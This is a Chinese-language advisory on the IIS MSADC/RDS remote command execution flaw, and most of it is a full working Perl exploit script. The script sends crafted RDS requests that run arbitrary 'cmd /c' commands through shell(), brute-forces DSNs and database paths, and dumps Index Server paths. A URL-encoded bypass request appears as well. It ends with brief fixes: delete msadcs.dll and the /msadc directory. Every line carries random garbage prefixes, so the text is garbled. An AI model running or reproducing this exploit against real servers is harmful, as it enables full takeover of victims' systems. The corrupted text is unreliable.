IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
qfJ2iE|o2. ig.Z,R3@r 涉及程序：
~\NQkaBkY Microsoft NT server
~v2(sR J EEZ~Bs }d 描述：
6 1k SCu 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
t.;._' %4!^AA% 详细：
^|F y!kp 如果你没有时间读详细内容的话，就删除:
B(s^(__] c:\Program Files\Common Files\System\Msadc\msadcs.dll
>^g2 Tg: 有关的安全问题就没有了。
mTX:?> >e6 OlIW 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
'1 b8>L AA,/AKikd 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
+:jonN9d 关于利用ODBC远程漏洞的描述，请参看:
oA- ,>:}g{ KM[0aXOtv http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm * > nOL nrev!h 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
`W)?d I?#M http://www.microsoft.com/security/bulletins/MS99-025faq.asp i,;eW&
MFa/%O_* 这里不再论述。
\)u A:v L {jx'[C 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
hE=xS:6 #p*uk /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
3^
UoK 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
\f4rA?+f P2 jh[a% T$u'+*
Xx #将下面这段保存为txt文件，然后: "perl -x 文件名"
$6UU58>n LRu*%3xx #!perl
80 Hi v #
iQ
Xlz] ' # MSADC/RDS 'usage' (aka exploit) script
+i!HMyM #
6:%lx G # by rain.forest.puppy
%"(HjanH #
yN`hW&K # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
xP>cQEL ot # beta test and find errors!
up['<Kt+a T 8g\_m use Socket; use Getopt::Std;
|LC"1 k getopts("e:vd:h:XR", \%args);
R3og]=uFzm b1# C,UWK print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
a" YVr'| sdO8;v> if (!defined $args{h} && !defined $args{R}) {
D<FQVdP print qq~
-7w}+iS Usage: msadc.pl -h <host> { -d <delay> -X -v }
#'KM$l,P -h <host> = host you want to scan (ip or domain)
]s5e[iS -d <seconds> = delay between calls, default 1 second
qgl-,3GY%N -X = dump Index Server path table, if available
U`3?bhzua -v = verbose
tik*[1it -e = external dictionary file for step 5
V#$QKn`; hY{4_ie=8 Or a -R will resume a command session
xV+\R/)x
4rL`|| ~; exit;}
+Eb-|dM tgCp2 `n $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
"4WnDd 5" if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Ih5Y7<8b~ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
+-;v+{ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
r1IvA^X $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
^, =}'H ] if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
dL4VcUS. ]aMDx>OE if (!defined $args{R}){ $ret = &has_msadc;
:kI[P f!z die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
3C!|!N1Hn JE:LA+ ( print "Please type the NT commandline you want to run (cmd /c assumed):\n"
|7,$.MK-@ . "cmd /c ";
< `Fl Igo $in=<STDIN>; chomp $in;
}03?eWk/y $command="cmd /c " . $in ;
^pe/~ :a V} <<?_ if (defined $args{R}) {&load; exit;}
3)>re & 7^rT-f07 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
"'``O~08/ &try_btcustmr;
4Yok,< 9(HGe+R4o print "\nStep 2: Trying to make our own DSN...";
J| &aqY &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
q'H6oD ` Gl{'a1 print "\nStep 3: Trying known DSNs...";
rr`_\ut &known_dsn;
/KnIU|; 8Wtr,%82 print "\nStep 4: Trying known .mdbs...";
'.pGkXyQ &known_mdb;
<w~$S0_ M-Vz$D/aed if (defined $args{e}){
Vo{
~D:) print "\nStep 5: Trying dictionary of DSN names...";
?\4kV*/Cqz &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
zBTxM -u~:Gd*l0 print "Sorry Charley...maybe next time?\n";
V3*@n *"N; exit;
I31Nu{ 7!`1K_v6 ##############################################################################
0 nI*9 T<nK/lp1t sub sendraw { # ripped and modded from whisker
4$2HO `@uN sleep($delay); # it's a DoS on the server! At least on mine...
' '9K(p6 my ($pstr)=@_;
A9Ea}v9: socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
ScInOPb'K die("Socket problems\n");
yP-$@Ry if(connect(S,pack "SnA4x8",2,80,$target)){
H
9/m6F select(S); $|=1;
z/5TYv)S print $pstr; my @in=<S>;
I YptNR select(STDOUT); close(S);
'd QGb-<_< return @in;
*hFJI9G } else { die("Can't connect...\n"); }}
d\A7}_r*x e5FF'~A%] ##############################################################################
U[yA`7Zs} _8`S&[E? sub make_header { # make the HTTP request
k ?3mFWc my $msadc=<<EOT
OHngpe4 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
buKkm$@w User-Agent: ACTIVEDATA
@Py'SH!- Host: $ip
rWM5& M Content-Length: $clen
-ImO y| Connection: Keep-Alive
)99^58my ij?]fXf:)y ADCClientVersion:01.06
?g K|R Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
~ :C`e4 8*VQw?{Uee --!ADM!ROX!YOUR!WORLD!
y(C',Xn Content-Type: application/x-varg
0"sZP \<p Content-Length: $reqlen
!Y M:?%B ^' sy hI\ EOT
+r"fv*g" ; $msadc=~s/\n/\r\n/g;
vvG*DGL)qL return $msadc;}
[W'2z,S`WD z^KBV ^n ##############################################################################
=.`e4}u \X =jG." o sub make_req { # make the RDS request
L[+4/a!HQ my ($switch, $p1, $p2)=@_;
@9]T jZd my $req=""; my $t1, $t2, $query, $dsn;
2R3)/bz-SV FYg{IKg if ($switch==1){ # this is the btcustmr.mdb query
?|hY tV $query="Select * from Customers where City=" . make_shell();
a}k5[)et $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
8X\":l: $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
zb!RfQ, )5diX
+
k elsif ($switch==2){ # this is general make table query
%N hZTmWm $query="create table AZZ (B int, C varchar(10))";
tg2+Z\0)4g $dsn="$p1";}
`Z@qWB< 6099w0fR` elsif ($switch==3){ # this is general exploit table query
<5|:QLqy $query="select * from AZZ where C=" . make_shell();
}f6_ 7W%5 $dsn="$p1";}
%:-2P I<&) P#" elsif ($switch==4){ # attempt to hork file info from index server
~NK|q5(I $query="select path from scope()";
K>2 Bz&) $dsn="Provider=MSIDXS;";}
.k5&C/jv 7x$VH5jie# elsif ($switch==5){ # bad query
T' ) l $query="select";
)c0 Dofhg $dsn="$p1";}
NF*Z <$ '% ?[X^'zz} $t1= make_unicode($query);
EHq?yj; $t2= make_unicode($dsn);
F{m?:A $req = "\x02\x00\x03\x00";
[Al} GM $req.= "\x08\x00" . pack ("S1", length($t1));
e yByAT~W, $req.= "\x00\x00" . $t1 ;
bqZ5 GKUo $req.= "\x08\x00" . pack ("S1", length($t2));
Q,>]f@m $req.= "\x00\x00" . $t2 ;
R6irL!akAd $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
X_wPuU% return $req;}
jQ P2[\
t "[2^2G ##############################################################################
@B>pPCowa { =IAS} sub make_shell { # this makes the shell() statement
t \,X G return "'|shell(\"$command\")|'";}
5k<0>6;XH wvEdZGO8! ##############################################################################
| )YN"nqg Y$eO:67; sub make_unicode { # quick little function to convert to unicode
5o Y^; )\/ my ($in)=@_; my $out;
f] kG%JEK for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
J+Zp<Wu- return $out;}
B d?{ldg u_%L~1+' ##############################################################################
Zopi;O J .vtV2lq sub rdo_success { # checks for RDO return success (this is kludge)
<3[0 A;W=1 my (@in) = @_; my $base=content_start(@in);
9at_F'> R if($in[$base]=~/multipart\/mixed/){
GNI:k{H@"? return 1 if( $in[$base+10]=~/^\x09\x00/ );}
T5+9# return 0;}
F+m;y .]K{8[:hq ##############################################################################
N9BfjT} )8JM.:, sub make_dsn { # this makes a DSN for us
?%i~~hfH#N my @drives=("c","d","e","f");
kuo!}QFL print "\nMaking DSN: ";
(Ujry =f foreach $drive (@drives) {
7E\k97#G print "$drive: ";
`:YCOF my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
R2f^d t^ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Z3z"c
B . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
G9r~ O#=gy $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
4)E$. F^ return 0 if $2 eq "404"; # not found/doesn't exist
k[]2S8K2 if($2 eq "200") {
<,Pk foreach $line (@results) {
CjUYwAy$k return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Y aAOP'p } return 0;}
L }pj+xB A\)~y{9bQ ##############################################################################
fsUZG6 6l& ,!f d sub verify_exists {
4* V[^ mht my ($page)=@_;
o'|B|oZ my @results=sendraw("GET $page HTTP/1.0\n\n");
IQQ QB return $results[0];}
sc$I,|d2 #=
@?)\~ ##############################################################################
OzUo}QN WXe]Q bg sub try_btcustmr {
5b;~&N4~ my @drives=("c","d","e","f");
| ?4NlB6 my @dirs=("winnt","winnt35","winnt351","win","windows");
.g!K| c z^\-x9vL foreach $dir (@dirs) {
ZP9x3MHe print "$dir -> "; # fun status so you can see progress
1}3tpO; foreach $drive (@drives) {
N%!{n7`N: print "$drive: "; # ditto
YU/?AQg $reqlen=length( make_req(1,$drive,$dir) ) - 28;
_~O *V& $reqlenlen=length( "$reqlen" );
)_ SpY\J $clen= 206 + $reqlenlen + $reqlen;
/^=8?wK lwm
9gka my @results=sendraw(make_header() . make_req(1,$drive,$dir));
/-Z}= if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
b!`{fwV else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
% !Ih=DZ nfksi``Vq ##############################################################################
#O^%u,mJj eD!mR3Ai@D sub odbc_error {
#M@~8dAH}M my (@in)=@_; my $base;
heQyz|o my $base = content_start(@in);
B0D if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
#|=Q5"wU $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
)
(0=w4 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
ji.T7wn1u $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
@S1Z "%S return $in[$base+4].$in[$base+5].$in[$base+6];}
~]SCf@pRk print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
H
h35 cj print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
C%H?vrR $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
m}6Jdt'| 8&yI1XM| ##############################################################################
P|t2%:_ B[9y<FB+ sub verbose {
IYv.~IQO my ($in)=@_;
wl gR = l return if !$verbose;
z `jLKPP!= print STDOUT "\n$in\n";}
YP>J'{?b*" D~ n-;T ##############################################################################
~I;|ipK4m _ Y7 Um sub save {
k~)@D| ? my ($p1, $p2, $p3, $p4)=@_;
~ +h4i' open(OUT, ">rds.save") || print "Problem saving parameters...\n";
T G% w print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
.q1y)l-^Z close OUT;}
8.Ufw.
5 8Oz9 Uc G ##############################################################################
Xyjd7 " m|3 Q' sub load {
!*S,S{T8 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
RAWzQE } open(IN,"<rds.save") || die("Couldn't open rds.save\n");
0#4A0[vV @p=<IN>; close(IN);
#x`K4f) $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
H!'4A& $target= inet_aton($ip) || die("inet_aton problems");
u U%Z%O print "Resuming to $ip ...";
n|Ts:>`V $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
GL~
Wnt if($p[1]==1) {
t~ <HFY*w $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
-ijzo%&qA $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
m^
Epw4eg my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
+;4 ;~>Y if (rdo_success(@results)){print "Success!\n";}
uIBN
!\j else { print "failed\n"; verbose(odbc_error(@results));}}
; tQ(l%! elsif ($p[1]==3){
[w!T
if(run_query("$p[3]")){
c-_1tSh} print "Success!\n";} else { print "failed\n"; }}
{Q c,Nl
[? elsif ($p[1]==4){
L H.Gf if(run_query($drvst . "$p[3]")){
Z_fwvcZ?05 print "Success!\n"; } else { print "failed\n"; }}
|=07n K2 exit;}
|?nYs>K (<rE1w2s: ##############################################################################
ug.|ag'R Zu2`IzrG# sub create_table {
~f"3Wa*\ B my ($in)=@_;
1rs. $reqlen=length( make_req(2,$in,"") ) - 28;
(E7"GJ $reqlenlen=length( "$reqlen" );
~`="tzr: $clen= 206 + $reqlenlen + $reqlen;
@,7r<6E my @results=sendraw(make_header() . make_req(2,$in,""));
u80C>s Q return 1 if rdo_success(@results);
![$`Ivro` my $temp= odbc_error(@results); verbose($temp);
& n6L;y- return 1 if $temp=~/Table 'AZZ' already exists/;
8: )[. return 0;}
|?ZU8I^vW #d *0
)w ##############################################################################
<VSB!:ew Vr Lp5?Bh sub known_dsn {
v9FR # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
d2V\T+= my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
." gq[0_YS "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
,i|K} Y& "banner", "banners", "ads", "ADCDemo", "ADCTest");
x2a
?ug Q ID`Ot{ y foreach $dSn (@dsns) {
mj'N)6 ga print ".";
x;`G n_ next if (!is_access("DSN=$dSn"));
qA\&%n^ j] if(create_table("DSN=$dSn")){
60] VOQku print "$dSn successful\n";
kZo# Ny if(run_query("DSN=$dSn")){
uF1 4 ; print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
pC0gw2n8 M print "Something's borked. Use verbose next time\n";}}} print "\n";}
Ql V(D< y z!L:1DG ##############################################################################
QV. >Cy a'/C)fplL sub is_access {
n#Dy
YVb my ($in)=@_;
J %|; $reqlen=length( make_req(5,$in,"") ) - 28;
_>]/. w2= $reqlenlen=length( "$reqlen" );
/4OQx0Xmm $clen= 206 + $reqlenlen + $reqlen;
2O@ON/ my @results=sendraw(make_header() . make_req(5,$in,""));
;dMr2y `6 my $temp= odbc_error(@results);
yUD@oOVC0 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
^|6# Vx return 0;}
{D^
)% { AzF*4x ##############################################################################
5Z a<]qxr N\&VJc sub run_query {
`7y3C \zyQ my ($in)=@_;
5de1r B| $reqlen=length( make_req(3,$in,"") ) - 28;
%'h:G
B kd $reqlenlen=length( "$reqlen" );
A^+k A)8 $clen= 206 + $reqlenlen + $reqlen;
O g1\6Q my @results=sendraw(make_header() . make_req(3,$in,""));
l3u+ fE,;_ return 1 if rdo_success(@results);
VyN F)$'T my $temp= odbc_error(@results); verbose($temp);
"~EAt$ return 0;}
"PElQBLP:
Z:,\FB_U ##############################################################################
o6|-
:u5_/ c(vi,U-hC sub known_mdb {
*0@Z+'M? my @drives=("c","d","e","f","g");
.#Z'CZO| my @dirs=("winnt","winnt35","winnt351","win","windows");
T"3LO[j+ my $dir, $drive, $mdb;
ujE~#b}X my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
YfZ5Q}*1O+ k~: (.)Nr # this is sparse, because I don't know of many
)'g4Ty my @sysmdbs=( "\\catroot\\icatalog.mdb",
eYoc(bG(+ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
g\/|7:yB] "\\system32\\certmdb.mdb",
; nbEV2Y< "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
|x1Ttr, uE r.LCAS my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
>7X5/z "\\cfusion\\cfapps\\forums\\forums_.mdb",
6tP!( "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
dc~vQDNw[X "\\cfusion\\cfapps\\security\\realm_.mdb",
Pq35w#`! "\\cfusion\\cfapps\\security\\data\\realm.mdb",
-{JReplc "\\cfusion\\database\\cfexamples.mdb",
,K6ODtw. "\\cfusion\\database\\cfsnippets.mdb",
]Hi1^Y< "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
rVs CJuxI "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
;sf'"UnL "\\cfusion\\brighttiger\\database\\cleam.mdb",
? N]bFW"t| "\\cfusion\\database\\smpolicy.mdb",
1 YtY= "\\cfusion\\database\cypress.mdb",
rO#$SW$YW "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
xDekC~ Zq "\\website\\cgi-win\\dbsample.mdb",
X=6L-^ o) "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
i>G:*? a "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
`Has3AX8 ); #these are just
{[NQD3=+F foreach $drive (@drives) {
_f "I%QTL foreach $dir (@dirs){
t VX|e2Y foreach $mdb (@sysmdbs) {
jL4"FTcE]3 print ".";
X,o ]tgg= if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
=yqg ,w&Q print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
i
^N }avO if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
T} XJFV print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
$1)NYsSH/H } else { print "Something's borked. Use verbose next time\n"; }}}}}
z=jzr=lP P iR`4Tu foreach $drive (@drives) {
l<sWM$ez foreach $mdb (@mdbs) {
aa!1w93?i print ".";
WwSyw?T if(create_table($drv . $drive . $dir . $mdb)){
A"+t[0$. print "\n" . $drive . $dir . $mdb . " successful\n";
[czWUD if(run_query($drv . $drive . $dir . $mdb)){
P:X X8&# print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
yFFNzw{ } else { print "Something's borked. Use verbose next time\n"; }}}}
Mwj7*pxUh }
|? '
gT" # p< @+0Uw2 ##############################################################################
u |$GOSD ;lTgihW- sub hork_idx {
ke +\Z>BWN print "\nAttempting to dump Index Server tables...\n";
!a5e{QG0 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
NH 1|_2 $reqlen=length( make_req(4,"","") ) - 28;
7#T@CKdUd $reqlenlen=length( "$reqlen" );
u8y('\( $clen= 206 + $reqlenlen + $reqlen;
^'sOWIzeiY my @results=sendraw2(make_header() . make_req(4,"",""));
/h&>tYVio if (rdo_success(@results)){
uA%F0oM my $max=@results; my $c; my %d;
:KRe==/ for($c=19; $c<$max; $c++){
yaX%<KBa\ $results[$c]=~s/\x00//g;
2b#> ~ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
uk.x1*0x $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
3URrK[%x` $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
/dVcNo3" $d{"$1$2"}="";}
a9nXh6 foreach $c (keys %d){ print "$c\n"; }
VN@ZYSs } else {print "Index server doesn't seem to be installed.\n"; }}
_j_c& k1FG$1. ##############################################################################
+ n 8,=} N _.`5I;e sub dsn_dict {
dFpP_U open(IN, "<$args{e}") || die("Can't open external dictionary\n");
)#c GeP A while(<IN>){
nQ'AB~ Do $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
g[xn0 rG next if (!is_access("DSN=$dSn"));
YH!` uU(Lh if(create_table("DSN=$dSn")){
FkoN+\d print "$dSn successful\n";
lG X_5R if(run_query("DSN=$dSn")){
_~ 7cn print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
TUd=qnu print "Something's borked. Use verbose next time\n";}}}
ds
QGj& print "\n"; close(IN);}
C? b_E MXpj_+@ ##############################################################################
LZ~$=< -Ar 3>d sub sendraw2 { # ripped and modded from whisker
y
`w5u.' sleep($delay); # it's a DoS on the server! At least on mine...
_$4vk my ($pstr)=@_;
`\S~;O socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
P1QGfp0-J die("Socket problems\n");
}Rq- IRa' if(connect(S,pack "SnA4x8",2,80,$target)){
^ S`c-N print "Connected. Getting data";
b;sjw5 cm_ open(OUT,">raw.out"); my @in;
IqONDde p9 select(S); $|=1; print $pstr;
8DNGqaH;dt while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
#bLeK$ close(OUT); select(STDOUT); close(S); return @in;
~4~>; e } else { die("Can't connect...\n"); }}
c7N`W}BZ #9Dixsl*Q ##############################################################################
F%QVn . K29KS)~;W sub content_start { # this will take in the server headers
.W%{j()op my (@in)=@_; my $c;
b$ )XS for ($c=1;$c<500;$c++) {
<El6?ml@ if($in[$c] =~/^\x0d\x0a/){
F D6>[W if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
|+i?FY A\ else { return $c+1; }}}
/ZKO\q return -1;} # it should never get here actually
X\1'd,V O ijG@bI8 ##############################################################################
%.D @{O G%K<YyAP sub funky {
N8l(m5Kk,k my (@in)=@_; my $error=odbc_error(@in);
XA:v:JFS if($error=~/ADO could not find the specified provider/){
wBXgzd%L print "\nServer returned an ADO miscofiguration message\nAborting.\n";
yeNC-U< exit;}
v 1O*
Q if($error=~/A Handler is required/){
a 4! AvG print "\nServer has custom handler filters (they most likely are patched)\n";
PRCr7f exit;}
`+QrgtcEy4 if($error=~/specified Handler has denied Access/){
U vOB`Vj print "\nServer has custom handler filters (they most likely are patched)\n";
;wz
YZ5=Di exit;}}
N*My2t_+E > c7fg ^@ ##############################################################################
w_I}FPT<(: _D(F[p| sub has_msadc {
{E`f(9r: my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
p_ QL{gn my $base=content_start(@results);
@hWt.qO3s return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
9o Y%v7 return 0;}
YXa^jFp J%_
:A" ########################
PhM 3?$ Jh[fFg] %c(':vI# 解决方案：
F,`y_71< 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
qGgT<Rd~1 2、移除web 目录: /msadc
